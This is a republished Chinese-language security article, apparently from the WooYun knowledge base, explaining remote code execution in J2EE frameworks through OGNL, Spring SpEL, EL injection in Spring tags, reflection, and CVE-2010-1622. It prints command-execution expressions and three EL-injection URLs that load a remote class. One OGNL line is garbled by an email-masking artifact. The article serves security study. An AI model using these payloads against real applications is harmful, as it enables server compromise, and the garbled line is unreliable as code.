J2EE遠端程式碼執行那些事兒(框架層面)

wyzsk發表於2020-08-19
作者: Nebula · 2014/02/11 17:14

0x00 背景


在J2EE遠端程式碼執行中,大部分的程式碼執行情況的本質是,能夠從外部去直接控制Java物件(其他語言暫不討論,其實也差不多),控制Java物件大致包括幾種情況:直接new物件;呼叫物件的方法(包括靜態方法);訪問物件的屬性(賦值)等 

那麼一些J2EE框架在設計之中,如果某些功能允許以上操作,可能出現的遠端程式碼執行情況。

0x01 OGNL


參考:/papers/?id=340

get方式,呼叫物件的靜態方法執行命令: 

...
OgnlContext context = new OgnlContext();
Ognl.getValue("@[email protected]().exec('calc')",context,context.getRoot());
...  

2014021112460957891.png

set方式,new一個物件呼叫方法執行命令: 

...
OgnlContext context = new OgnlContext();
Ognl.setValue(new java.lang.ProcessBuilder((new java.lang.String[] {"calc" })).start(), context,context.getRoot());
...  

那麼我們在使用OGNL實現某些J2EE框架功能或者機制中,如果getValue或setValue函式是允許外部引數直接完整內容傳入的,那肯定是很危險的!!! 

比如:webWork及Struts2框架(其實真是不想說,Struts2簡直就是在拖Java安全水平的後腿。它所有OGNL遠端執行程式碼的漏洞的形成,可以用一句話簡單概括:在使用OGNL實現框架某些功能或機制時,允許外部引數直接傳入OGNL表示式或安全限制被饒過等) 

0x02 在spring框架中也有類似OGNL的Spel表示式


1.呼叫物件的靜態方法執行命令: 

...
org.springframework.expression.Expression exp=parser.parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')");
...   

2014021112491712314.png

2.new一個物件呼叫方法執行命令: 

...
org.springframework.expression.Expression exp=parser.parseExpression("new java.lang.ProcessBuilder((new java.lang.String[]{'calc'})).start()");
... 

2014021112505361561.png

但spring在安全方面應該不會像struts2一樣這麼不負責任(不過,現在稍微好點了!),它有沒有類似的安全漏洞,有興趣的可以去找找 ^-^ 

0x03 spring 標籤實現中的el表示式注入


例如,類似的程式碼場景: 

...
el: <spring:message text="${param.el}"></spring:message>
... 

之前是個資訊洩露漏洞(路徑及jar等資訊): 

2014021112525255051.png

前段時間老外弄出了遠端命令執行,部分exp(網上都有,有興趣自己找試一下。能否執行程式碼和web容器有很大關係,最好選老外一樣的Glassfish或者resin某些版本用反射技巧實現執行程式碼):

http://127.0.0.1:8080/spring/login.jsp?el=${pageContext.request.getSession().setAttribute("exp","".getClass().forName("java.util.ArrayList").newInstance())}


http://127.0.0.1:8080/spring/login.jsp?el=${pageContext.request.getSession().getAttribute("exp").add(pageContext.getServletContext().getResource("/").toURI().create("http://127.0.0.1:8080/spring/").toURL())}


http://127.0.0.1:8080/spring/login.jsp?el=${pageContext.getClass().getClassLoader().getParent().newInstance(pageContext.request.getSession().getAttribute("exp").toArray(pageContext.getClass().getClassLoader().getParent().getURLs())).loadClass("exp").newInstance()} 

原理簡單描述:遠端載入一個exp.class,在構造器中執行命令(利用物件初始化執行程式碼).(因為其他web伺服器物件方法呼叫被限制,所以執行惡意程式碼肯定會有問題) 

這個漏洞重要的是學習它的利用技巧!實際危害其實不大! 

0x04 反射機制實現功能時,動態方法呼叫


參考:http://zone.wooyun.org/content/6971

其實,這篇文章主要給出的是反射機制使用不當造成的方法越權訪問漏洞型別場景,而不是struts2這個漏洞本身,可能大家都懷戀之前一系列struts2輕鬆getshell的exp了! 

簡化後的虛擬碼: 

... 
Class clazz = 物件.getClass(); 
Method m = clazz.getDeclaredMethod("有實際危害的方法"); 
m.invoke(物件);   
...

原理簡單描述:本質其實很簡單,getDeclaredMethod的函式如果允許外部引數輸入,就可以直接呼叫方法了,也就是執行程式碼,只是危害決定於呼叫的方法的實際power! 

0x05 spring class.classLoader.URLs[0]物件屬性賦值


cve-2010-1622 這是我最喜歡的一個漏洞利用技巧:

2014021112554878852.png

這個利用有點繞,其實如果看得懂Java其實也很簡單!(大家常說,喜歡熬夜的coder不是好員工,睡覺了!) 

以前看了很多篇漏洞分析文章,其中這篇不錯(說得算比較清晰),推薦它: 

http://www.iteye.com/topic/1123382

另外,其實我個人覺得,這個漏洞的其他利用的實際危害要超過執行命令方式,比如:拒絕服務等 

如果把你想像力再上升一個層面:在任意場景中只要能夠控制Java物件,理論上它就能執行程式碼(至於是否能夠被有效利用是另外一回事)。其實說得再執白點,寫底層程式碼的程式設計師知不知道這些問題可能導致安全漏洞! 

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章